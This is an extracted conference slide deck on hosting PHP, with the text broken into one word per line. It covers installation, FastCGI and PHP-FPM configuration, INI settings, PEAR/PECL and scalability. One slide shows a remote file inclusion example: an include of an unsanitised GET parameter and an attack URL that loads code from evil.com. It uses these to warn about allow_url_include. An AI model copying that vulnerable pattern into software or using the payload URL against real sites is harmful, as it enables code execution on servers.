Php through the eyes of a hoster confoo

PHP
through
the
eyes
of
a
hoster

Thijs
Feryn
Evangelist
+32
(0)9
218
79
06
thijs@combellgroup.com

Very
excited
to
be
here
!

Please

rate
my
talk
on

Joind.in

https://joind.in/6090

Chapter
I
:
The
hoster,
a
genuine
stakeholder
in
the

PHP
universe

Stakeholders

Customer Development
company

Endusers MGMT Devs MGMT Design PM

Internal Internal
IT PM Sales QA Systeam Consultant

Hoster PHP
community

Stakeholders

Somewhere
along
the
road
...

Your
app
needs
to
be
hosted

Goals
&
moves

Our
goals
&
moves
are
the
same
as
yours:
• It
has
to
work
• It
has
to
perform
• It
has
to
scale
• It
has
to
be
secure
• It
has
to
be
available

What
about
the
Cloud?

Chapter
II:
Installaon
&
conﬁguraon

There’s
more
than
just
Apache

Installing
from
source

server$
./configure
-‐-‐with-‐ttf
-‐-‐with-‐freetype-‐dir=/
usr/lib
-‐-‐prefix=/data/jail/usr/local/php-‐5.3.8
-‐-‐
with-‐mysql
-‐-‐with-‐mysqli
-‐-‐with-‐mssql
-‐-‐enable-‐exif

-‐-‐enable-‐soap
-‐-‐with-‐mcrypt
-‐-‐with-‐mhash
-‐-‐with-‐curl

-‐-‐enable-‐mbstring
-‐-‐with-‐gettext
-‐-‐with-‐zlib
-‐-‐
enable-‐ftp
-‐-‐with-‐openssl
-‐-‐with-‐xsl
-‐-‐with-‐db4
-‐-‐
with-‐pgsql
-‐-‐enable-‐calendar
-‐-‐enable-‐bcmath
-‐-‐with-‐
bz2
-‐-‐with-‐imap=/data/jail/usr/local/imap
-‐-‐with-‐
imap-‐ssl
-‐-‐with-‐pdo-‐mysql=/usr/bin/mysql_config
-‐-‐
with-‐jpeg-‐dir=/usr/lib
-‐-‐with-‐gd
-‐-‐enable-‐zip
-‐-‐with-‐
xmlrpc
-‐-‐enable-‐sockets

server$
make

server$
make
install

Installing
using
a
package
manager
(APT/Aptude)

Install
PHP:
server$
apt-‐get
install
php5

Install
MySQL
library
for
PHP:

server$
apt-‐get
install
php5-‐mysql

SAPI
...
schmapi

Mod_php FastCGI PHP-‐FPM CLI

Apache

Web gateway -‐
module

Apache
php-‐fpm

Process php-‐cgi php
process daemon

Apache
conf
config
per

Configuraon wrapper on
the
fly
files pool

shell
user
or

User Apache
user user
per
pool shell
user
suexec
user

FastCGI

Example
conﬁg:
• Apache
handler

<IfModule
mod_fcgid.c>

SuexecUserGroup
dev
dev

PHP_Fix_Pathinfo_Enable
1

<Directory
/var/www/dev/www/>

Options
+ExecCGI

AllowOverride
All

AddHandler
fcgid-‐script
.php

FCGIWrapper
/var/www/dev/etc/fcgi.wrapper
.php

Order
allow,deny

Allow
from
all

</Directory>

</IfModule>

FastCGI

Example
conﬁg:
• Wrapper
script
#!/bin/sh
PHPRC=/usr/local/php-‐5.3.10/etc
export
PHPRC
export
PHP_FCGI_MAX_REQUESTS=5000
export
PHP_FCGI_CHILDREN=8
exec
/usr/local/php-‐5.3.10/bin/php-‐cgi

PHP-‐FPM

Example
conﬁg
in
Nginx:
server
{

root
/var/www;

index
index.php
index.html
index.htm;

server_name
myserver.ext;

location
/
{

try_files
$uri
$uri/
/index.html;

}

location
~
.php$
{

fastcgi_split_path_info
^(.+.php)(/.+)$;

fastcgi_pass
127.0.0.1:9000;

fastcgi_index
index.php;

include
fastcgi_params;

}
}

PHP-‐FPM

Example
conﬁg
in
PHP-‐FPM
main
www
pool:
[www]
user
=
www-‐data
group
=
www-‐data
listen
=
127.0.0.1:9000
listen.owner
=
www-‐data
listen.group
=
www-‐data
listen.mode
=
0666
listen.allowed_clients
=
127.0.0.1
pm
=
dynamic
pm.max_children
=
10
pm.start_servers
=
4
pm.min_spare_servers
=
2
pm.max_spare_servers
=
6
pm.max_requests
=
500

INI
sehngs:
tales
of
good
&
evil

INI
sehngs:
tales
of
good
&
evil

Defining
INI
sehngs:
• Php.ini
• Ini_set()
• “-‐d”

• php_value
• php_flag
• php_admin_value
• php_admin_flag

INI
sehngs:
tales
of
good
&
evil

Memory_limit:

Fatal
error:
Allowed
memory
size
of
16777216

bytes
exhausted
(tried
to
allocate
35
bytes)

INI
sehngs:
tales
of
good
&
evil

Safe_mode
&
Open_basedir:

<IfModule
mod_php5.c>

php_admin_flag
engine
on

php_admin_flag
safe_mode
off

php_admin_value
open_basedir
"/var/www/vhosts/
website.com/httpdocs:/tmp"
</IfModule>

INI
sehngs:
tales
of
good
&
evil

Allow_url_fopen
&
allow_url_include:

<?php
$lang= $_GET['lang'];
require("$lang.php");

http://domain.ext/index.php?lang=http://evil.com/hack.txt?

Chapter
III:
Versions
&
features

PHP
4:
End
of
life,
but
far
from
dead

PHP
4:
End
of
life,
but
not
yet
dead

Parse
error:
syntax
error,
unexpected
T_STRING,

expecting
T_OLD_FUNCTION
or
T_FUNCTION
or
T_VAR

or
'}'
in
test.php
on
line
4

Developers
love
bling
bling

It
HAS
to
be
PHP
5.3.10
!!!

I
need
ALL
PHP
extension
!!!

I
use
ALL
PHP
features
!!!

And

then
there’s

DOT

Fruit
&
vegetables:
PEAR
&
PECL

Fruit
&
vegetables:
PEAR
&
PECL

PEAR
PHP
Extension
and
Applicaon
Repository
(h#p//pear.php.net)

server$
lynx
-‐source
http://pear.php.net/go-‐pear
|
php

server$
pear
install
date

Fruit
&
vegetables:
PEAR
&
PECL

PECL
(pickle)
PHP
Extension
Community
Library
(h#p//pecl.php.net)

server$
pecl
install
pecl_http

External
frameworks

Popular
frameworks
outside
the
PHP
project

Chapter
IV:
PHP
aoracts
a
crowd

That
easy
!

<?php
echo "Hello world!";

Everyone
can
be
a
PHP
developer

But
not
everyone
has
what
it
takes

Luckily
there’s
a
lot
ready-‐to-‐use
PHP
soqware
out

there

Who
you
gonna
call
?

But
when
helpers
need
help
...

They
reach
out
to
the
PHP
community

User
Group
meengs

Twioer Blogs
Forums
PHP.net

IRC Conferences

Chapter
V:
Here
be
phpirates

Fact

“The
majority
of
hacking/absue
cases
are
PHP
related”

False
assumpons

“Open
source
is
evil”

“PHP
has
lots
of
security
vulnerabilies
and
is
not
mature”

Here
be
phpirates

The
real
issues
• Quality
of
the
code
• Network
&
server
security
• PHP
version
&
conﬁguraon

Chapter
VI:
Scalability

Scalability
==
constant
speed
under
increasing
load

Developers
(some2mes)
forget
...

mysql>
explain
SELECT
field1,
(SELECT
COUNT(*)
FROM
table2
WHERE
field3
=

table1.id)
FROM
table1
WHERE
field2
=
1

ORDER
BY
field4
DESC
limit

12,12;

***************************
1.
row
***************************

id:
1

select_type:
PRIMARY

table:
table1

type:
ALL
possible_keys:
approved

key:
approved

key_len:
NULL

ref:
NULL

rows:
3143

Extra:
Using
where;
Using
filesort
***************************
2.
row
***************************

id:
2

select_type:
DEPENDENT
SUBQUERY

table:
table2

type:
ALL
possible_keys:
NULL

key:
NULL

key_len:
NULL

ref:
NULL

rows:
1005

Extra:
Using
where

Scaling
MySQL
with
replicaon

PHP
scalability
toolbox

Summary

1.Hosters
are
a
genuine
stakeholder
in
the
PHP
universe
2.PHP
is
highly
flexible
&
configurable.
Hosters
have
to
ensure
a
decent

setup
3.PHP
has
a
lot
to
offer
feature-‐wise
4.PHP
aDracts
a
crowd
and
brings
a
lot
of
people
together
from

different
industries
(e.g.
hosters)
5.Lots
of
abuse
cases
are
PHP
related,
but
that’s
not
the
fault
of
PHP

itself
6.PHP
itself
doesn’t
scale
*that*
well,
but
is
flexible
enough
to
ensure

scalability
via
extra
tools

Php through the eyes of a hoster confoo

Recomendados

Recomendados

Mais conteúdo relacionado

Mais procurados

Mais procurados (20)

Destaque

Destaque (20)

Semelhante a Php through the eyes of a hoster confoo

Semelhante a Php through the eyes of a hoster confoo (20)

Mais de Combell NV

Mais de Combell NV (20)

Último

Último (20)

Php through the eyes of a hoster confoo